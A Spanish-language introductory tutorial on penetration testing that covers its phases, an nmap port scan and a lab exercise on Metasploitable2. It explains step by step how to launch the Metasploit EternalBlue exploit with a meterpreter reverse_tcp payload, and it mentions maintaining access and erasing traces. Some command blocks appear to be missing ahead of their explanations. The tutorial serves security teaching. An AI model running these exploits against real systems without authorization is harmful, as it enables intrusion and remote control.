Las pruebas de penetración, también conocidas como "pentesting", son una técnica de evaluación de seguridad que simula ataques reales para identificar y explotar vulnerabilidades en sistemas, redes y aplicaciones. El objetivo es descubrir fallos de seguridad antes de que los atacantes malintencionados puedan explotarlos.

1. Identificación de Vulnerabilidades: Detectar debilidades en la infraestructura de TI.
2. Evaluación de Impacto: Determinar el potencial impacto de las vulnerabilidades encontradas.
3. Validación de Controles de Seguridad: Comprobar la efectividad de las medidas de seguridad implementadas.
4. Cumplimiento Normativo: Asegurar que se cumplen las normativas y estándares de seguridad.
5. Mejora Continua: Proporcionar recomendaciones para mejorar la postura de seguridad.

1. Pruebas Externas: Simulan ataques desde fuera de la red de la organización.
2. Pruebas Internas: Simulan ataques desde dentro de la red, como si un empleado o un intruso con acceso interno intentara comprometer el sistema.
3. Pruebas de Caja Negra: El evaluador no tiene información previa sobre el sistema.
4. Pruebas de Caja Blanca: El evaluador tiene acceso completo a la información del sistema.
5. Pruebas de Caja Gris: El evaluador tiene información parcial sobre el sistema.

• Definición del Alcance: Determinar qué sistemas, redes y aplicaciones serán evaluados.
• Recopilación de Información: Obtener información sobre los objetivos, como direcciones IP, nombres de dominio, y detalles de la infraestructura.

• Escaneo de Puertos: Identificar puertos abiertos y servicios en ejecución.
• Escaneo de Vulnerabilidades: Utilizar herramientas para detectar vulnerabilidades conocidas.

• Enumeración de Servicios: Obtener información detallada sobre los servicios y versiones en ejecución.
• Enumeración de Usuarios: Identificar usuarios y cuentas que podrían ser explotadas.

• Explotación de Vulnerabilidades: Utilizar técnicas y herramientas para explotar las vulnerabilidades identificadas.
• Escalada de Privilegios: Intentar obtener privilegios más altos en el sistema.

• Mantener el Acceso: Implementar métodos para mantener el acceso al sistema comprometido.
• Limpieza: Asegurarse de que no se dejan rastros de la prueba de penetración.

• Documentación de Hallazgos: Detallar las vulnerabilidades encontradas y las técnicas utilizadas.
• Recomendaciones: Proporcionar sugerencias para mitigar las vulnerabilidades.

Explicación:

• -sS: Realiza un escaneo SYN (semi-abierto).
• -p 1-65535: Escanea todos los puertos.
• -T4: Ajusta la velocidad del escaneo para ser más rápido.
• target_ip: Dirección IP del objetivo.

Explicación:

• msfconsole: Inicia la consola de Metasploit.
• use exploit/windows/smb/ms17_010_eternalblue: Selecciona el exploit EternalBlue.
• set RHOST target_ip: Establece la IP del objetivo.
• set PAYLOAD windows/x64/meterpreter/reverse_tcp: Selecciona el payload.
• set LHOST your_ip: Establece tu IP para recibir la conexión inversa.
• exploit: Ejecuta el exploit.

Objetivo: Realizar un escaneo de puertos y detectar servicios vulnerables en una máquina virtual.

1. Configurar una Máquina Virtual:

   • Utiliza una máquina virtual vulnerable, como Metasploitable2.

2. Escaneo de Puertos:

   • Utiliza Nmap para escanear los puertos abiertos en la máquina virtual.
   • Comando sugerido: nmap -sS -p 1-65535 -T4 <IP de la máquina virtual>

3. Identificación de Servicios:

   • Utiliza Nmap para identificar los servicios y versiones en ejecución.
   • Comando sugerido: nmap -sV <IP de la máquina virtual>

4. Escaneo de Vulnerabilidades:

   • Utiliza una herramienta como Nessus o OpenVAS para escanear vulnerabilidades.

5. Documentación:

   • Documenta los puertos abiertos, servicios y vulnerabilidades encontradas.

1. Escaneo de Puertos:

   nmap -sS -p 1-65535 -T4 192.168.56.101
   

2. Identificación de Servicios:

   nmap -sV 192.168.56.101
   

3. Escaneo de Vulnerabilidades:

   • Utiliza Nessus o OpenVAS para realizar el escaneo y documenta los resultados.

Las pruebas de penetración son una herramienta esencial para evaluar y mejorar la seguridad de los sistemas de información. Al simular ataques reales, se pueden identificar y mitigar vulnerabilidades antes de que sean explotadas por atacantes malintencionados. Es fundamental seguir una metodología estructurada y utilizar herramientas adecuadas para obtener resultados efectivos y precisos.